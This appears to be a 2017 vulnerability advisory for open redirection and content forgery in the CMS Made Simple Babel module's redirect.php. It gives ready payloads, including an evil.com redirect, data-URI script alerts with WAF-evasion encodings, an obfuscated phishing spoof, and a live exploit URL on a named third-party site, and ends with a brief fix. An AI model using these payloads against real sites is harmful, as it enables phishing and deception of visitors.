______ ______ _____ ___ _____ _____ _____ | ___ \ | ___ \ | _ | |_ | | ___| / __ \ |_ _| | |_/ / | |_/ / | | | | | | | |__ | / \/ | | | __/ | / | | | | | | | __| | | | | | | | |\ \ \ \_/ / /\__/ / | |___ | \__/\ | | \_| \_| \_| \___/ \____/ \____/ \____/ \_/ _____ _ _ _____ _____ _____ _ _ ______ _____ _____ __ __ |_ _| | \ | | / ___| | ___| / __ \ | | | | | ___ \ |_ _| |_ _| \ \ / / | | | \| | \ `--. | |__ | / \/ | | | | | |_/ / | | | | \ V / | | | . ` | `--. \ | __| | | | | | | | / | | | | \ / _| |_ | |\ | /\__/ / | |___ | \__/\ | |_| | | |\ \ _| |_ | | | | \___/ \_| \_/ \____/ \____/ \____/ \___/ \_| \_| \___/ \_/ \_/ [+]---------------------------------------------------------[+] | Vulnerable Software: CMS Made Simple: Babel Module | | Vendor: https://www.cmsmadesimple.org/ | | Vulnerability Type: Open Redirection+Content Forgery| | Date Released: 23/04/2017 | | Released by: MLT (@ret2libc) | [+]---------------------------------------------------------[+] There are Open Redirection and Content Forgerey vulnerabilities in the 'Babel' module for 'CMS Made Simple', a web-based content management system. These are just minor bugs but can be used to effectively aid a spear phishing attack involving any of the affected websites. An attacker can redirect to a malicious website, or they can redirect to data: or other uri schemes in the victims browser, resulting in a bunch of potential risks (this will be basic content forgery via 'data:', but depending on whether the victim has a specific application like skype, steam or runescape client installed then more specific and targeted attacks can be launcheed in an attacker was familiar with such techniques ;) an often underlooked aspect of open redirection bugs. ------------------------------------------------------------------------------------------------------------- The vulnerable paramater is the 'newurl' GET param for 'redirect.php' here is the path: /modules/babel/redirect.php?newlang=en_US&newurl= Open redirection can be performed like so: /modules/babel/redirect.php?newlang=en_US&newurl=//evil.com To redirect without revealing the 'referer' header (thus not revealing the vuln site) do this: /modules/babel/redirect.php?newlang=en_US&newurl=data:text/html, Here is an example payload to result in a javascript alert: /modules/babel/redirect.php?newlang=en_US&newurl=data:text/html, If this triggers a WAF response, then percent encoding can be used: /modules/babel/redirect.php?newlang=en_US&newurl=data:text/html,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%33%33%37%29%3c%2f%73%63%72%69%70%74%3e If percent encoding is still causing issues with a WAF or similar security measure, then try base64 encoding: /modules/babel/redirect.php?newlang=en_US&newurl=data:text/html;base64,PHNjcmlwdD5hbGVydCgxMzM3KTwvc2NyaXB0Pg== ------------------------------------------------------------------------------------------------------------- Spear phishing can be performed via the data: uri scheme in addition to the execution of javascript (although any javascript is executing in a null context) Here is an example payload where an attacker could spoof content: data:text/html,http://trusted-website.com/%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%62%72%3e%3c%62%72%3e%3c%62%72%3e%3c%62%72%3e%3c%62%72%3e%3c%62%72%3e%3c%63%65%6e%74%65%72%3e%3c%68%31%3e%4d%79%20%45%76%69%6c%20%43%6f%6e%74%65%6e%74%3c%2f%68%31%3e%3c%69%6d%67%20%73%72%63%3d%68%74%74%70%3a%2f%2f%69%6e%73%65%63%75%72%69%74%79%2e%7a%6f%6e%65%2f%6c%6f%67%6f%2e%70%6e%67%20%77%69%64%74%68%3d%33%30%30%20%68%65%69%67%68%74%3d%33%30%30%20%2f%3e%3c%2f%63%65%6e%74%65%72%3e To break that down, there's a data uri scheme being used specifying a content type of text/html - the beginning of the HTML input is the name of the trusted site (so in the address bar it appears to the user that they never left the trusted site) - that's this section of the payload: data:text/html,http://trusted-website.com/ After that, percent encoding is used and the encoded space character (%20) is added to the URL a bunch of times to ensure the malicious HTML included by the attacker cannot be seen. The final step is just the URL encoded chars for the HTML (or javascript) input. This adds a level of obfuscation to the attack both at the point of attack (no suspicious code in URL) and within the address bar (it still looks like you're on the same site if you're an average end user) Here is a live URL with some spoofed content (Firefox only): www.snijderslabs.com/modules/babel/redirect.php?newlang=en_US&newurl=data:text/html,http://trusted-website.com/%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%62%72%3e%3c%62%72%3e%3c%62%72%3e%3c%62%72%3e%3c%62%72%3e%3c%62%72%3e%3c%63%65%6e%74%65%72%3e%3c%68%31%3e%4d%79%20%45%76%69%6c%20%43%6f%6e%74%65%6e%74%3c%2f%68%31%3e%3c%69%6d%67%20%73%72%63%3d%68%74%74%70%3a%2f%2f%69%6e%73%65%63%75%72%69%74%79%2e%7a%6f%6e%65%2f%6c%6f%67%6f%2e%70%6e%67%20%77%69%64%74%68%3d%33%30%30%20%68%65%69%67%68%74%3d%33%30%30%20%2f%3e%3c%2f%63%65%6e%74%65%72%3e ------------------------------------------------------------------------------------------------------------- To fix: Sanatize user inputs, only allow redirection to whitelisted websites, if allowing the redirection to be open but closely monitored for spam/phishing URL's then at least prevent redirection to uri schemes other than http(s):// [+]---------------------------------------------------------[+] | CONTACT US: | | | | IRC: irc.insecurity.zone (6667/6697) #insecurity | | Twitter: @insecurity | | Website: insecurity.zone | [+]---------------------------------------------------------[+]